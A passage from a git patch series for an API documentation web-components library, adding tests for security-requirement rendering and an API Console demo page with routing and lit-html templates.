 /** @typedef {import('../src/helpers/api').ApiOperation} ApiOperation */
 /** @typedef {import('../src/helpers/api').ApiPayload} ApiPayload */
 /** @typedef {import('../src/helpers/api').ApiSecurityRequirement} ApiSecurityRequirement */
+/** @typedef {import('../src/helpers/api').ApiSecurityScheme} ApiSecurityScheme */
 /** @typedef {import('../src/helpers/api').ApiShapeUnion} ApiShapeUnion */
 /** @typedef {import('../src/helpers/api').ApiDocumentation} ApiDocumentation */
 /** @typedef {import('../src/helpers/api').ApiServer} ApiServer */
@@ -188,13 +190,10 @@ export class AmfLoader extends AmfHelperMixin(Object) {
   /**
    * @param {AmfDocument} model 
    * @param {string} name 
-   * @returns {SecurityRequirement}
+   * @returns {SecurityScheme}
    */
   lookupSecurity(model, name) {
     this.amf = model;
-    // const webApi = this._hasType(model, this.ns.aml.vocabularies.document.Document) ?
-    //   this._computeApi(model) :
-    //   model;
     const declares = this._computeDeclares(model) || [];
     let security = declares.find((item) => {
       if (Array.isArray(item)) {
@@ -229,7 +228,7 @@ export class AmfLoader extends AmfHelperMixin(Object) {
   /**
    * @param {AmfDocument} model
    * @param {string} name 
-   * @return {ApiSecurityRequirement}
+   * @return {ApiSecurityScheme}
    */
   getSecurity(model, name) {
     const security = this.lookupSecurity(model, name);
@@ -237,7 +236,7 @@ export class AmfLoader extends AmfHelperMixin(Object) {
       throw new Error(`No security named ${name}`);
     }
     const serializer = new AmfSerializer(model);
-    return serializer.securityRequirement(security);
+    return serializer.securityScheme(security);
   }
 
   /**
diff --git a/test/elements/ApiOperationDocumentElement.test.js b/test/elements/ApiOperationDocumentElement.test.js
index 8d05f36..e34a891 100644
--- a/test/elements/ApiOperationDocumentElement.test.js
+++ b/test/elements/ApiOperationDocumentElement.test.js
@@ -537,7 +537,8 @@ describe('ApiOperationDocumentElement', () => {
           assert.ok(doc, 'has the security documentation');
 
           assert.isTrue(doc.amf === model, 'passes the model');
-          assert.typeOf(doc.domainId, 'string', 'passes the security id');
+          assert.typeOf(doc.securityRequirement, 'object', 'passes the security object');
+          // assert.typeOf(doc.domainId, 'string', 'passes the security id');
         });
 
         it('renders multiple security options', async () => {
@@ -551,7 +552,8 @@ describe('ApiOperationDocumentElement', () => {
           assert.ok(doc, 'has the security documentation');
 
           assert.isTrue(doc.amf === model, 'passes the model');
-          assert.typeOf(doc.domainId, 'string', 'passes the security id');
+          assert.typeOf(doc.securityRequirement, 'object', 'passes the security object');
+          // assert.typeOf(doc.domainId, 'string', 'passes the security id');
         });
 
         it('switches between the security schemes', async () => {
@@ -568,7 +570,8 @@ describe('ApiOperationDocumentElement', () => {
           const doc = element.shadowRoot.querySelector('api-security-requirement-document');
           assert.ok(doc, 'has the security documentation');
 
-          assert.equal(doc.domainId, tabs[1].dataset.id, 'passes the security id');
+          // assert.equal(doc.domainId, tabs[1].dataset.id, 'passes the security id');
+          assert.equal(doc.securityRequirement.id, tabs[1].dataset.id, 'passes the security object');
         });
       });
 
diff --git a/test/elements/ApiSecurityDocumentElement.test.js b/test/elements/ApiSecurityDocumentElement.test.js
index 22bde68..0759639 100644
--- a/test/elements/ApiSecurityDocumentElement.test.js
+++ b/test/elements/ApiSecurityDocumentElement.test.js
@@ -42,7 +42,7 @@ describe('ApiSecurityDocumentElement', () => {
     return /** @type ApiSecurityDocumentElement */ (element);
   }
 
-  [false].forEach((compact) => {
+  [false, true].forEach((compact) => {
     describe(compact ? 'Compact model' : 'Full model', () => {
       describe('Basic auth', () => {
         /** @type AmfDocument */
diff --git a/test/elements/ApiSecurityRequirementDocumentElement.test.js b/test/elements/ApiSecurityRequirementDocumentElement.test.js
new file mode 100644
index 0000000..acffdef
--- /dev/null
+++ b/test/elements/ApiSecurityRequirementDocumentElement.test.js
@@ -0,0 +1,92 @@
+import { fixture, assert, html, aTimeout } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import '../../api-security-requirement-document.js';
+
+/** @typedef {import('../../').ApiSecurityRequirementDocumentElement} ApiSecurityRequirementDocumentElement */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../../src/helpers/amf').SecurityRequirement} SecurityRequirement */
+/** @typedef {import('../../src/helpers/api').ApiSecurityRequirement} ApiSecurityRequirement */
+
+describe('ApiSecurityRequirementDocumentElement', () => {
+  const loader = new AmfLoader();
+
+  /**
+   * @param {AmfDocument} amf
+   * @param {string=} domainId
+   * @returns {Promise<ApiSecurityRequirementDocumentElement>}
+   */
+  async function domainIdFixture(amf, domainId) {
+    const element = await fixture(html`<api-security-requirement-document 
+      .queryDebouncerTimeout="${0}" 
+      .amf="${amf}" 
+      .domainId="${domainId}"
+    ></api-security-requirement-document>`);
+    await aTimeout(0);
+    return /** @type ApiSecurityRequirementDocumentElement */ (element);
+  }
+
+  /**
+   * @param {AmfDocument} amf
+   * @param {ApiSecurityRequirement=} model
+   * @returns {Promise<ApiSecurityRequirementDocumentElement>}
+   */
+  async function serializedFixture(amf, model) {
+    const element = await fixture(html`<api-security-requirement-document 
+      .queryDebouncerTimeout="${0}" 
+      .amf="${amf}" 
+      .securityRequirement="${model}"
+    ></api-security-requirement-document>`);
+    await aTimeout(0);
+    return /** @type ApiSecurityRequirementDocumentElement */ (element);
+  }
+
+  /**
+   * @param {AmfDocument} amf
+   * @param {SecurityRequirement=} model
+   * @returns {Promise<ApiSecurityRequirementDocumentElement>}
+   */
+  async function modelFixture(amf, model) {
+    const element = await fixture(html`<api-security-requirement-document 
+      .queryDebouncerTimeout="${0}" 
+      .amf="${amf}" 
+      .domainModel="${model}"
+    ></api-security-requirement-document>`);
+    await aTimeout(0);
+    return /** @type ApiSecurityRequirementDocumentElement */ (element);
+  }
+
+  [false, true].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      /** @type AmfDocument */
+      let model;
+      before(async () => {
+        model = await loader.getGraph(compact, 'secured-api');
+      });
+
+      it('finds the security for an operation', async () => {
+        const op = loader.getOperation(model, '/custom1', 'get');
+        const [security] = op.security;
+        const { id } = security;
+        const element = await domainIdFixture(model, id);
+        assert.deepEqual(element.securityRequirement, security);
+      });
+
+      it('renders the security requirement when passing a serialized model', async () => {
+        const op = loader.getOperation(model, '/custom1', 'get');
+        const [security] = op.security;
+        const element = await serializedFixture(model, security);
+        const node = element.shadowRoot.querySelector('api-parametrized-security-scheme');
+        assert.ok(node, 'has the documentation element node');
+      });
+
+      it('renders the security requirement when passing a domain model', async () => {
+        const op = loader.lookupOperation(model, '/custom1', 'get');
+        const security  = op[loader._getAmfKey(loader.ns.aml.vocabularies.security.security)][0];
+        const element = await modelFixture(model, security);
+        const node = element.shadowRoot.querySelector('api-parametrized-security-scheme');
+        assert.ok(node, 'has the documentation element node');
+      });
+    });
+  });
+});
diff --git a/web-test-runner.config.mjs b/web-test-runner.config.mjs
index ccc45a4..29e8838 100644
--- a/web-test-runner.config.mjs
+++ b/web-test-runner.config.mjs
@@ -2,7 +2,10 @@ export default {
   files: 'test/**/*.test.js',
   // files: 'test/navigation/*.test.js',
   // files: 'test/elements/ApiServerSelectorElement.test.js',
-  // files: 'test/serializer/Endpoints.test.js',
+  // files: [
+  //   'test/elements/ApiSecurityRequirementDocumentElement.test.js',
+  //   'test/elements/ApiOperationDocumentElement.test.js',
+  // ],
   nodeResolve: true,
   testFramework: {
     config: {

From b59575d229488b72a11e0733d2e6502f9c457ab7 Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Wed, 13 Oct 2021 10:53:53 -0700
Subject: [PATCH 15/36] chore: adding API Console demo

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 .vscode/settings.json                         |   1 +
 demo/api-console.html                         |  16 +
 demo/api-console.js                           | 502 ++++++++++++++++++
 demo/index.html                               |  19 +-
 demo/lib/ApplicationPage.d.ts                 |  28 +
 demo/lib/ApplicationPage.js                   |  41 ++
 demo/lib/mixins/ReactiveMixin.d.ts            |  47 ++
 demo/lib/mixins/ReactiveMixin.js              |  85 +++
 demo/lib/mixins/RenderableMixin.d.ts          |  55 ++
 demo/lib/mixins/RenderableMixin.js            | 124 +++++
 demo/lib/route.js                             | 102 ++++
 demo/styles/api-console.css                   | 276 ++++++++++
 package-lock.json                             |   6 +-
 package.json                                  |   2 +-
 src/elements/ApiAnnotationDocumentElement.js  |   8 +-
 src/elements/ApiChannelDocumentElement.js     |   2 +-
 src/elements/ApiDocumentationBase.js          |   6 +-
 .../ApiDocumentationDocumentElement.js        |   2 +-
 src/elements/ApiDocumentationElement.js       |  13 +-
 src/elements/ApiOperationDocumentElement.js   |  14 +-
 src/elements/ApiPayloadDocumentElement.js     |   2 +-
 src/elements/ApiRequestEditorElement.js       |   2 +-
 src/elements/ApiResourceDocumentElement.js    |  10 +-
 src/elements/ApiResponseDocumentElement.js    |   8 +-
 src/elements/ApiSchemaDocumentElement.js      |  20 +-
 src/elements/ApiSecurityDocumentElement.js    |  30 +-
 src/elements/ApiSummaryElement.js             |  24 +-
 src/elements/SchemaCommonTemplates.js         |  17 +-
 src/elements/styles/ApiAnnotation.js          |   4 +
 src/elements/styles/Common.js                 |   4 +
 src/lib/UrlUtils.js                           |   7 +-
 31 files changed, 1391 insertions(+), 86 deletions(-)
 create mode 100644 demo/api-console.html
 create mode 100644 demo/api-console.js
 create mode 100644 demo/lib/ApplicationPage.d.ts
 create mode 100644 demo/lib/ApplicationPage.js
 create mode 100644 demo/lib/mixins/ReactiveMixin.d.ts
 create mode 100644 demo/lib/mixins/ReactiveMixin.js
 create mode 100644 demo/lib/mixins/RenderableMixin.d.ts
 create mode 100644 demo/lib/mixins/RenderableMixin.js
 create mode 100644 demo/lib/route.js
 create mode 100644 demo/styles/api-console.css

diff --git a/.vscode/settings.json b/.vscode/settings.json
index 1096592..7589719 100644
--- a/.vscode/settings.json
+++ b/.vscode/settings.json
@@ -23,6 +23,7 @@
     "onserverscountchange",
     "populateannotatedfields",
     "redirecturichange",
+    "Renderable",
     "securitysettingsinfochanged",
     "serverscountchanged",
     "signedup",
diff --git a/demo/api-console.html b/demo/api-console.html
new file mode 100644
index 0000000..ae1b34c
--- /dev/null
+++ b/demo/api-console.html
@@ -0,0 +1,16 @@
+<!doctype html>
+<html lang="en-GB">
+<head>
+  <meta charset="utf-8">
+  <meta name="viewport" content="width=device-width, minimum-scale=1.0, initial-scale=1.0, user-scalable=yes">
+  <title>API Console (demo)</title>
+  <link rel="preconnect" href="https://fonts.googleapis.com">
+  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700;900&display=swap" rel="stylesheet">
+  <link href="styles/api-console.css" rel="stylesheet" type="text/css" />
+</head>
+<body>
+  <div id="app"></div>
+  <script type="module" src="api-console.js"></script>
+</body>
+</html>
diff --git a/demo/api-console.js b/demo/api-console.js
new file mode 100644
index 0000000..d30c328
--- /dev/null
+++ b/demo/api-console.js
@@ -0,0 +1,502 @@
+import { html } from 'lit-html';
+import { classMap } from 'lit-html/directives/class-map.js';
+import '@anypoint-web-components/anypoint-button/anypoint-icon-button.js';
+import '@anypoint-web-components/anypoint-menu-button/anypoint-menu-button.js';
+import '@anypoint-web-components/anypoint-listbox/anypoint-listbox.js';
+import '@anypoint-web-components/anypoint-item/anypoint-item.js';
+import '@advanced-rest-client/arc-icons/arc-icon.js';
+import '@advanced-rest-client/authorization/oauth2-authorization.js';
+import { MonacoLoader } from "@advanced-rest-client/monaco-support";
+import { ApplicationPage } from "./lib/ApplicationPage.js";
+import { findRoute, navigate } from './lib/route.js';
+import { EventTypes } from '../src/events/EventTypes.js';
+import { AmfSerializer } from '../src/helpers/AmfSerializer.js';
+import "../api-navigation.js";
+import '../api-documentation.js';
+import '../xhr-simple-request.js';
+
+/** @typedef {import('lit-html').TemplateResult} TemplateResult */
+/** @typedef {import('@anypoint-web-components/anypoint-listbox').AnypointListbox} AnypointListbox */
+/** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
+/** @typedef {import('../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../src/types').SelectionType} SelectionType */
+
+const apiTitleValue = Symbol('apiTitleValue');
+
+const ApiList = [
+  ['demo-api', 'Demo API'],
+  ['httpbin', 'httpbin.org'],
+  ['google-drive-api', 'Google Drive'],
+  ['multi-server', 'Multiple servers'],
+  ['array-body', 'Body with array test case'],
+  ['nexmo-sms-api', 'Nexmo SMS API'],
+  ['appian-api', 'Applian API'],
+  ['APIC-15', 'APIC-15'],
+  ['oauth1-fragment', 'OAuth 1 fragment'],
+  ['oauth2-fragment', 'OAuth 2 fragment'],
+  ['documentation-fragment', 'Documentation fragment'],
+  ['type-fragment', 'Type fragment'],
+  ['lib-fragment', 'Library fragment'],
+  ['SE-10469', 'SE-10469'],
+  ['SE-11415', 'SE-11415'],
+  ['async-api', 'Async API'],
+  ['Streetlights', 'Streetlights Async API'],
+];
+
+export class ApiConsole extends ApplicationPage {
+  static get routes() {
+    return [
+    {
+      name: 'api',
+      pattern: 'api/(?<apiId>[^/]*)'
+    },
+    {
+      name: 'api',
+      pattern: 'api/(?<apiId>[^/]*)/(?<domainType>[^/]*)/(?<domainId>[^/]*)/(?<operationId>.*)'
+    }, 
+    {
+      name: 'api',
+      pattern: 'api/(?<apiId>[^/]*)/(?<domainType>[^/]*)/(?<domainId>.*)'
+    }, 
+    {
+      name: 'selector',
+      pattern: 'api-selector.*'
+    },
+    {
+      name: 'not-found',
+      pattern: '*'
+    }];
+  }
+
+  /**
+   * @returns {string|undefined} The title of the currently loaded API.
+   */
+  get apiTitle() {
+    return this[apiTitleValue];
+  }
+
+  constructor() {
+    super();
+    this.initObservableProperties(
+      'apiLoaded', 'route', 'navigationOpened', 'model', 'loading',
+      'domainId', 'domainType', 'operationId',
+      'apiId', 'initializing'
+    );
+    /**
+     * When set the application is initializing its environment.
+     */
+    this.initializing = true;
+    /**
+     * When set the application is loading an API model.
+     */
+    this.loading = false;
+    this.apiLoaded = false;
+    /** 
+     * Whether the application navigation is visible, when toggling.
+     */
+    this.navigationOpened = false;
+    /**
+     * The loaded AMF model form the demo APIs.
+     * 
+     * @type {AmfDocument}
+     */
+    this.model = undefined;
+    /**
+     * The domain id of the currently selected graph object.
+     * @type {string}
+     */
+    this.domainId = 'summary';
+    /**
+     * The navigation type of the currently selected graph object.
+     * @type {SelectionType}
+     */
+    this.domainType = 'summary';
+    /**
+     * When the current domain type is an operation this is the selected operation domain id.
+     */
+    this.operationId = undefined;
+    /**
+     * The OAuth 2 redirect URI.
+     */
+    this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`;
+    /**
+     * The title of the currently loaded API.
+     * @type string
+     */
+    this[apiTitleValue] = undefined;
+    window.addEventListener(EventTypes.Navigation.apiNavigate, this.apiNavigationHandler.bind(this));
+    this.initApp();
+  }
+
+  /**
+   * Loads the Monaco editor and initializes routing.
+   */
+  async initApp() {
+    await this.loadMonaco();
+    this.initializing = false;
+    this.onRoute();
+    window.onpopstate = () => {
+      this.onRoute();
+    };
+  }
+
+  /**
+   * Loads the Monaco editor using ARC's helpers.
+   * This can be implemented in any way.
+   */
+  async loadMonaco() {
+    const base = `../node_modules/monaco-editor/`;
+    MonacoLoader.createEnvironment(base);
+    await MonacoLoader.loadMonaco(base);
+    await MonacoLoader.monacoReady();
+  }
+
+  /**
+   * Cleans up the API and the selection state,
+   */
+  cleanUp() {
+    this.apiId = undefined;
+    this.domainId = undefined;
+    this.domainType = undefined;
+    this.operationId = undefined;
+    this.model = undefined;
+    this[apiTitleValue] = undefined;
+  }
+
+  /**
+   * Called when route change
+   */
+  onRoute() {
+    const url = new URL(window.location.href);
+    const path = url.hash.replace('#', '');
+    // @ts-ignore
+    const { routes } = this.constructor;
+    const result = findRoute(routes, path);
+    if (!result) {
+      return;
+    }
+    console.info('route', result.route, result.params);
+    const { name } = result.route;
+    this.route = name;
+    if (name === 'api') {
+      if (result.params.apiId && this.apiId !== result.params.apiId) {
+        this.loadFile(`models/${result.params.apiId}-compact.json`);
+      }
+      this.apiId = result.params.apiId;
+      if (result.params.domainId) {
+        this.domainId = result.params.domainId;
+      }
+      if (result.params.domainType) {
+        this.domainType = result.params.domainType;
+      }
+      if (result.params.operationId) {
+        this.operationId = result.params.operationId;
+      }
+    } else if (name === 'selector') {
+      this.cleanUp();
+    } else {
+      this.cleanUp();
+      navigate('api-selector');
+    }
+  }
+
+  /**
+   * @param {ApiNavigationEvent} e Dispatched navigation event
+   */
+  apiNavigationHandler(e) {
+    const { domainId, domainType, parentId, passive } = e.detail;
+    if (passive === true) {
+      return;
+    }
+    if (domainType === 'operation') {
+      // /operation/{ResourceId}/{OperationId}
+      navigate('api', this.apiId, domainType, parentId, domainId);
+    } else {
+      navigate('api', this.apiId, domainType, domainId);
+    }
+  }
+
+  menuToggleHandler() {
+    this.navigationOpened = !this.navigationOpened;
+  }
+
+  /**
+   * A handler for the API Console menu selection.
+   *
+   * @param {CustomEvent} e
+   */
+  apiConsoleMenuHandler(e) {
+    const { item } = e.detail;
+    if (!item) {
+      // cancelled selection
+      return;
+    }
+    const list = /** @type AnypointListbox */ (e.target);
+    list.selected = undefined;
+    const { action } = item.dataset;
+    switch (action) {
+      case 'close':
+        this.closeApi();
+        break;
+      default:
+        console.warn(`Unhandled action: ${action}`);
+    }
+  }
+
+  /**
+   * Closes the current API project.
+   */
+  closeApi() {
+    this.apiLoaded = false;
+    this.cleanUp();
+    navigate('api-selector');
+  }
+
+  /**
+   * Handler for the API selection change
+   * @param {Event} e
+   */
+  apiSelected(e) {
+    const node = /** @type AnypointListbox */ (e.target);
+    const item = /** @type HTMLElement */ (node.selectedItem);
+    const file = item.dataset.src;
+    navigate('api', file, 'summary', 'summary');
+  }
+
+  /** @param {string} file */
+  async loadFile(file) {
+    this.loading = true;
+    try {
+      const response = await fetch(`./${file}`);
+      let data = await response.json();
+      if (Array.isArray(data)) {
+        [data] = data;
+      }
+      this.model = data;
+      this.postApiLoad(data);
+      this.apiLoaded = true;
+      this.render();
+    } catch (e) {
+      console.error(e);
+    }
+    this.loading = false;
+  }
+
+  /**
+   * Operations performed after the API model is rendered.
+   * @param {AmfDocument} model 
+   */
+  postApiLoad(model) {
+    if (!model) {
+      this[apiTitleValue] = undefined;
+      return;
+    }
+    const factory = new AmfSerializer(model);
+    const api = factory._computeApi(model);
+    const summary = factory.apiSummary(api);
+    this[apiTitleValue] = summary.name;
+  }
+
+  /**
+   * @returns {TemplateResult} Main application template
+   */
+  appTemplate() {
+    return html`
+    ${this.headerTemplate()}
+    ${this.pageTemplate(this.route)}
+    `;
+  }
+
+  /**
+   * @returns {TemplateResult} The application header template
+   */
+  headerTemplate() {
+    const { isMobile } = this;
+    return html`
+    <header>
+      ${isMobile ? this.navigationTriggerTemplate() : this.apiNameHeaderTemplate()}
+      <span class="spacer"></span>
+      ${this.toolbarActionsTemplate()}
+    </header>`;
+  }
+
+  /**
+   * @returns {TemplateResult} The navigation trigger button template
+   */
+  navigationTriggerTemplate() {
+    return html`
+    <anypoint-icon-button 
+      title="Open the menu" 
+      aria-label="Activate to open the API navigation"
+      @click="${this.menuToggleHandler}"
+    >
+      <arc-icon icon="menu"></arc-icon>
+    </anypoint-icon-button>
+    `;
+  }
+
+  /**
+   * @returns {TemplateResult} The template for the API name.
+   */
+  apiNameHeaderTemplate() {
+    const { apiTitle } = this;
+    const label  = apiTitle || 'API Console';
+    return html`
+    <div class="api-name-wrapper">
+      <h1>${label}</h1>
+    </div>
+    `;
+  }
+
+  /**
+   * @returns {TemplateResult|string} A template for the toolbar actions.
+   */
+  toolbarActionsTemplate() {
+    if (this.route !== 'api') {
+      return '';
+    }
+    return html`
+    <anypoint-menu-button
+      horizontalAlign="right"
+      horizontalOffset="12"
+      closeOnActivate
+      @select="${this.apiConsoleMenuHandler}"
+      class="header-menu"
+    >
+      <anypoint-icon-button
+        slot="dropdown-trigger"
+        aria-label="Activate for API Console menu"
+        title="API Console menu"
+      >
+        <arc-icon icon="moreVert"></arc-icon>
+      </anypoint-icon-button>
+      <anypoint-listbox slot="dropdown-content" selectable="anypoint-item[data-action]">
+        <!-- <div class="menu-divider"></div> -->
+        <anypoint-item data-action="close" class="menu-item">
+          <arc-icon icon="close" class="menu-icon"></arc-icon>
+          Close API
+        </anypoint-item>
+      </anypoint-listbox>
+    </anypoint-menu-button>`;
+  }
+
+  /**
+   * @param {string} route
+   * @returns {TemplateResult} The template for the page content
+   */
+  pageTemplate(route) {
+    if (this.initializing) {
+      return this.initializingTemplate();
+    }
+    if (this.loading) {
+      return this.loaderTemplate();
+    }
+    return html`
+    <div class="content">
+      ${this.navigationDrawerTemplate()}
+      <main>
+        ${this.renderPage(route)}
+      </main>
+    </div>
+    `;
+  }
+
+  /**
+   * @returns {TemplateResult} A template for the loader
+   */
+  initializingTemplate() {
+    return html`
+    <div class="app-loader">
+      <p class="message">Preparing something spectacular</p>
+    </div>
+    `;
+  }
+
+  /**
+   * @returns {TemplateResult} A template for the loader
+   */
+  loaderTemplate() {
+    return html`
+    <div class="app-loader">
+      <p class="message">Reading API specification data...</p>
+    </div>
+    `;
+  }
+
+  /**
+   * @returns {TemplateResult|string} The template for API navigation.
+   */
+  navigationDrawerTemplate() {
+    if (['selector'].includes(this.route)) {
+      return '';
+    }
+    const { model, isMobile, navigationOpened } = this;
+    const classes = {
+      navigation: true,
+      toggle: isMobile,
+      opened: navigationOpened,
+    };
+    return html`
+    <nav class="${classMap(classes)}">
+      <api-navigation
+        summary
+        .amf="${model}"
+        endpointsOpened
+        noOverview
+      ></api-navigation>
+    </nav>`;
+  }
+
+  /**
+   * @param {string} route The current route name.
+   * @returns {TemplateResult} The template for the current page.
+   */
+  renderPage(route) {
+    switch (route) {
+      case 'api': return this.apiTemplate();
+      case 'selector': return this.apiSelectorTemplate();
+      default: return html`<p>404: Unknown route <code>/${route}</code>.</p>`;
+    }
+  }
+
+  /**
+   * @returns {TemplateResult} The template for the API console's main documentation.
+   */
+  apiTemplate() {
+    return html`
+    <api-documentation
+      slot="content"
+      .amf="${this.model}"
+      .domainId="${this.domainId}"
+      .operationId="${this.operationId}"
+      .domainType="${this.domainType}"
+      .redirectUri="${this.redirectUri}"
+      tryItPanel
+    >
+    </api-documentation>
+    <oauth2-authorization></oauth2-authorization>
+    <xhr-simple-request></xhr-simple-request>
+    `;
+  }
+
+  /**
+   * @returns {TemplateResult} The screen when there is no API selection.
+   */
+  apiSelectorTemplate() {
+    return html`
+    <section class="api-selector">
+      <div class="title-line"><h2>Select an API</h2></div>
+      <div class="api-list">
+        <anypoint-listbox slot="dropdown-content" id="apiList" @selected-changed="${this.apiSelected}">
+        ${ApiList.map(([file, label]) => html`
+        <anypoint-item data-src="${file}">${label}</anypoint-item>
+        `)}
+        </anypoint-listbox>
+      </div>
+    </section>
+    `;
+  }
+}
+
+const page = new ApiConsole();
+page.render();
diff --git a/demo/index.html b/demo/index.html
index 1c39a16..3a35c7b 100644
--- a/demo/index.html
+++ b/demo/index.html
@@ -17,12 +17,16 @@ <h2>Documentation viewers</h2>
         <dd>The main element that renders the documentation from the current AMF model and navigation selection.</dd>
         <dt><a href="api-documentation-partial.html">Api documentation (partial model)</a></dt>
         <dd>The main documentation element with a partial AMF model support.</dd>
-        <dt><a href="api-operation.html">Api Operation</a></dt>
-        <dd>A documentation viewer for an API operation. Works with both HTTP and Async APIs.</dd>
-        <dt><a href="api-resource.html">Api endpoint</a></dt>
+        <dt><a href="api-resource.html">Api resource (an endpoint)</a></dt>
         <dd>A documentation viewer for an API endpoint. Works with HTTP APIs.</dd>
         <dt><a href="api-channel.html">Api channel</a></dt>
         <dd>A documentation viewer for an API channel. Works with Async APIs.</dd>
+        <dt><a href="api-operation.html">Api Operation</a></dt>
+        <dd>A documentation viewer for an API operation. Works with both HTTP and Async APIs.</dd>
+        <dt><a href="api-summary.html">Api summary</a></dt>
+        <dd>A start page with API general info</dd>
+        <dt><a href="server-selector.html">Api server selector</a></dt>
+        <dd>An element to render a list of API servers</dd>
         <dt><a href="api-documentation-document.html">Api documentation</a></dt>
         <dd>A documentation viewer for an API Documentation.</dd>
         <dt><a href="api-schema-documentation.html">Api schema documentation</a></dt>
@@ -33,10 +37,6 @@ <h2>Documentation viewers</h2>
         <dd>An annotation render element.</dd>
         <dt><a href="api-payload.html">Api payload</a></dt>
         <dd>A documentation for a payload (request and response).</dd>
-        <dt><a href="api-summary.html">Api summary</a></dt>
-        <dd>A start page with API general info</dd>
-        <dt><a href="server-selector.html">Api server selector</a></dt>
-        <dd>An element to render a list of API servers</dd>
         <dt><a href="http-label.html">HTTP operation label</a></dt>
         <dd>An element to render a pill with HTTP operation name</dd>
       </dl>
@@ -47,6 +47,11 @@ <h2>Request editor</h2>
         <dt><a href="api-request.html">API request</a></dt>
         <dd>An HTTP editor UI powered by the AMF model with the response view.</dd>
       </dl>
+      <h2>Experience</h2>
+      <dl>
+        <dt><a href="api-console.html">API Console</a></dt>
+        <dd>A dynamically created documentation page for an API.</dd>
+      </dl>
     </nav>
   </main>
   <script type="module" async src="../node_modules/@advanced-rest-client/arc-demo-helper/src/SharedStyles.js"></script>
diff --git a/demo/lib/ApplicationPage.d.ts b/demo/lib/ApplicationPage.d.ts
new file mode 100644
index 0000000..d4b12c1
--- /dev/null
+++ b/demo/lib/ApplicationPage.d.ts
@@ -0,0 +1,28 @@
+import { ReactiveMixin } from './mixins/ReactiveMixin.js';
+import { RenderableMixin } from './mixins/RenderableMixin.js';
+
+/**
+ * A base class for pages build outside the LitElement. It uses `lit-html` 
+ * as the template renderer.
+ * 
+ * The implementation (extending this class) should override the `appTemplate()`
+ * function that returns the `TemplateResult` from the `lit-html` library.
+ * 
+ * To reflect the changed state call the `render()` function. The function schedules
+ * a micro task (through `requestAnimationFrame`) to call the render function on the template.
+ * 
+ * More useful option is to use the `initObservableProperties()` function that accepts a list 
+ * of properties set on the base class that once set triggers the render function. The setter checks
+ * whether the a value actually changed. It works well for primitives but it won't work as expected
+ * for complex types.
+ */
+export declare class ApplicationPage extends RenderableMixin(ReactiveMixin(EventTarget)) {
+  /** 
+   * True when the app should render mobile friendly view.
+   */
+  isMobile: boolean;
+  /**
+   * Initializes media queries and observers.
+   */
+  initMediaQueries(): void;
+}
diff --git a/demo/lib/ApplicationPage.js b/demo/lib/ApplicationPage.js
new file mode 100644
index 0000000..ac46de0
--- /dev/null
+++ b/demo/lib/ApplicationPage.js
@@ -0,0 +1,41 @@
+/* eslint-disable class-methods-use-this */
+import { ReactiveMixin } from './mixins/ReactiveMixin.js';
+import { RenderableMixin } from './mixins/RenderableMixin.js';
+
+/**
+ * A base class for pages build outside the LitElement. It uses `lit-html` 
+ * as the template renderer.
+ * 
+ * The implementation (extending this class) should override the `appTemplate()`
+ * function that returns the `TemplateResult` from the `lit-html` library.
+ * 
+ * To reflect the changed state call the `render()` function. The function schedules
+ * a micro task (through `requestAnimationFrame`) to call the render function on the template.
+ * 
+ * More useful option is to use the `initObservableProperties()` function that accepts a list 
+ * of properties set on the base class that once set triggers the render function. The setter checks
+ * whether the a value actually changed. It works well for primitives but it won't work as expected
+ * for complex types.
+ */
+export class ApplicationPage extends RenderableMixin(ReactiveMixin(EventTarget)) {
+  constructor() {
+    super();
+    this.initObservableProperties('isMobile');
+    /** 
+     * True when the app should render mobile friendly view.
+     */
+    this.isMobile = false;
+    this.initMediaQueries();
+  }
+
+  /**
+   * Initializes media queries and observers.
+   */
+  initMediaQueries() {
+    const mql = window.matchMedia('(max-width: 600px)');
+    this.isMobile = mql.matches;
+    mql.addEventListener('change', (e) => {
+      this.isMobile = e.matches;
+    });
+  }
+}
diff --git a/demo/lib/mixins/ReactiveMixin.d.ts b/demo/lib/mixins/ReactiveMixin.d.ts
new file mode 100644
index 0000000..65bc73d
--- /dev/null
+++ b/demo/lib/mixins/ReactiveMixin.d.ts
@@ -0,0 +1,47 @@
+export declare const setObservableProperty: unique symbol;
+
+declare function ReactiveMixin<T extends new (...args: any[]) => {}>(base: T): T & ReactiveMixinConstructor;
+interface ReactiveMixinConstructor {
+  new(...args: any[]): ReactiveMixin;
+}
+
+/**
+ * Adds methods to register reactive properties, the properties 
+ * that trigger the `render()` function once changed.
+ * 
+ * Use the `initObservableProperties()` function that accepts a list 
+ * of properties set on the base class that once set triggers the render function. The setter checks
+ * whether the a value actually changed. It works well for primitives but it won't work as expected
+ * for complex types.
+ * 
+ * ## Example
+ * 
+ * ```javascript
+ * constructor() {
+ *   super();
+ *   this.initObservableProperties('prop1', 'prop2', 'prop3');
+ *   this.prop1 = 'test'; // <- this triggers the render() function
+ * }
+ * ```
+ *
+ * @mixin
+ */
+declare interface ReactiveMixin {
+  /**
+   * Creates setters and getters to properties defined in the passed list of properties.
+   * Property setter will trigger render function.
+   *
+   * @param props List of properties to initialize.
+   */
+  initObservableProperties(...props: string[]): void;
+
+  [setObservableProperty](prop: string, value: any): void;
+
+  /**
+   * The main render function. This is to be implemented by the mixin consumer.
+   */
+  render(): void;
+}
+
+export {ReactiveMixinConstructor};
+export {ReactiveMixin};
\ No newline at end of file
diff --git a/demo/lib/mixins/ReactiveMixin.js b/demo/lib/mixins/ReactiveMixin.js
new file mode 100644
index 0000000..933bcfb
--- /dev/null
+++ b/demo/lib/mixins/ReactiveMixin.js
@@ -0,0 +1,85 @@
+import { dedupeMixin } from '@open-wc/dedupe-mixin';
+
+export const setObservableProperty = Symbol('setObservableProperty');
+
+const valuesMap = new WeakMap();
+
+/**
+ * @param {new (...args: any[]) => any} base
+ */
